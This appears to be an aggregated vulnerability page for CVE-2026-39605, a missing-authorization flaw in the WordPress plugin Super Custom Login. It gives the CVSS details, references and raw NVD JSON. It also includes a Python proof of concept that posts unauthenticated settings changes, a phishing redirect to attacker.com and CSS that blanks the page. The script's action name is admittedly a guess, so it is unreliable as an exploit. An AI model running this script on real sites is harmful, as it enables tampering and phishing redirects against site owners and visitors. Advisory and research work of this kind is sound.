CVE-2026-39605

Description

Missing Authorization vulnerability in Obadiah Super Custom Login super-custom-login allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Super Custom Login: from n/a through <= 1.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Super Custom Login <= 1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    PoC for CVE-2026-39605: Missing Authorization in Super Custom Login <= 1.1
    This script attempts to update plugin settings without authentication.
    """
    # The vulnerable endpoint is often an AJAX action or a direct admin-post hook
    # Assuming the vulnerable action is 'update_super_custom_settings'
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    payload = {
        'action': 'update_super_custom_settings',
        'redirect_url': 'http://attacker.com/phishing',
        'custom_css': 'body { display: none; }'
    }

    try:
        response = requests.post(endpoint, data=payload)
        if response.status_code == 200:
            print("[+] Potential exploitation successful. Check settings.")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example-wordpress-site.com"
    exploit_missing_auth(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39605
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39605
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39605/
[4] VulDB https://vuldb.com/cve/CVE-2026-39605
[5] https://patchstack.com/database/Wordpress/Plugin/super-custom-login/vulnerability/wordpress-super-custom-login-plugin-1-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39605", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:29.757", "lastModified": "2026-04-29T10:17:30.443", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Obadiah Super Custom Login super-custom-login allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Super Custom Login: from n/a through <= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/super-custom-login/vulnerability/wordpress-super-custom-login-plugin-1-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}